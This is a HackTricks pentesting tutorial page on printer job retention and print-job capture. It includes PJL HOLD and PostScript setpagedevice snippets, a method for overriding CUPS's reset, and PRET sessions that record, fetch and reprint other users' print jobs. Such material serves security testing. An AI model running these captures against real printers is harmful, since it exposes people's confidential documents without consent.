Support HackTricks and get benefits! Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
# Job Retention Some printers have stored print jobs accessible from the web server. Usually however, job retention must be explicitly activated for a certain print job and can be done using standard PJL commands or proprietary PostScript code. Jobs are then kept in memory and can be reprinted from the control panel. ## PJL Legitimate job retention can be enabled for the current document by setting the PJL HOLD variable as shown below: ``` @PJL SET HOLD=ON [actual data to be printed follows] ``` Hold jobs are kept in memory and can be reprinted from the printer's control panel. This feature is supported by various printers, however as it seems only some Epson devices allow permanent job retention beeing set using `@PJL DEFAULT HOLD=ON`. **How to test for this attack?** Use `hold`command from [**PRET** ](https://github.com/RUB-NDS/PRET)in pjl mode and to check if permanent job retention can be set: ``` ./pret.py -q printer pjl Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> hold Setting job retention, reconnecting to see if still enabled Retention for future print jobs: OFF ``` ## PostScript PostScript offers similar functionality which however is model- and vendor-specific. For the HP LaserJet 4k series and various Kyocera printers, job retention can be enabled by prepending the following commands to a PostScript document: ``` << /Collate true /CollateDetails << /Hold 1 /Type 8 >> >> setpagedevice ``` While it is theoretically possible to permanently enable PostScript job retention using the [startjob ](./#postscript-ps)operator, this setting is explicitly reset by CUPS at the beginning of each print job using `<< /Collate false >> setpagedevice`. To counter this protection mechanism however, the attacker can permanently redefine the `setpagedevice` operator to have no effect at all. **How to test for this attack?** Use `hold`command from [**PRET** ](https://github.com/RUB-NDS/PRET) in ps mode: ``` ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> hold Job retention enabled. ``` # Job Capture It is possible but uncommon to activate job retention in the printing dialog as discussed above. With PostScript however, one has complete access over the current print job and with the [startjob](./#postscript-ps) operator, it is even possible to break out of the server loop and access future jobs. Such functionality has the potential to capture all documents if PostScript is used as a printer driver. ## PostScript With the capability to hook into arbitrary PostScript operators it is possible to manipulate and access foreign print jobs. To **parse the actual datastream send to the printer**, one can apply a pretty cool feature of the PostScript language: to read its own program code as data using the `currentfile` operator. This way, the whole datastream to be processed by the PostScript interpreter can be accessed by reading and stored to a file on the printer device. If the printer does not offer file system access, **captured documents can be stored in memory**, for example within permanent PostScript dictionaries. \ One practical problem is to decide **which operator should be hooked** as one does not gain access to the datastream until this operator is processed by the PostScript interpreter. As an attacker wants to capture print jobs from the very beginning, the **redefined operator must be the very first operator** contained in the PostScript document. Fortunately all documents printed with CUPS are pressed into a fixed structure beginning with `currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`. Based on the assumption of such a fixed structure, the attacker can capture documents from the beginning and execute (aka print) the file afterwards. For printing systems **other than CUPS** this attack should also be possible, but **operators need to be adapted**. Note that the PostScript header which usually includes media size, user and job names cannot be captured using this method because we first hook into at the beginning of the actual document. Another generic strategy to hook into at the beginning of every print job is to set the `BeginPage` system parameter, if supported by the printer (most printer do). This vulnerability has presumably been present in printing devices for decades as solely language constructs defined by the PostScript standard are abused. Use `capture` command from [**PRET**](https://github.com/RUB-NDS/PRET) in ps mode: ``` ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> capture Print job operations: capture capture start - Record future print jobs. capture stop - End capturing print jobs. capture list - Show captured print jobs. capture fetch - Save captured print jobs. capture print - Reprint saved print jobs. printer:/> capture start Future print jobs will be captured in memory! printer:/> exit ``` Now, print arbitrary documents (make sure PRET is disconnected to not block the printing channel). Afterwards, you can list, fetch or reprint captured documents: ``` ./pret.py -q printer ps Connection to printer established Welcome to the pret shell. Type help or ? to list commands. printer:/> capture list Free virtual memory: 16.6M | Limit to capture: 5.0M date size user jobname creator ─────────────────────────────────────────────────────────────────────────────── Jan 25 18:38 3.1M - - - Jan 25 18:40 170K - - - printer:/> capture fetch Receiving capture/printer/690782792 3239748 bytes received. Receiving capture/printer/690646210 174037 bytes received. printer:/> capture print printing... printing... 2 jobs reprinted printer:/> capture stop Stopping job capture, deleting recorded jobs ```
Support HackTricks and get benefits! Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**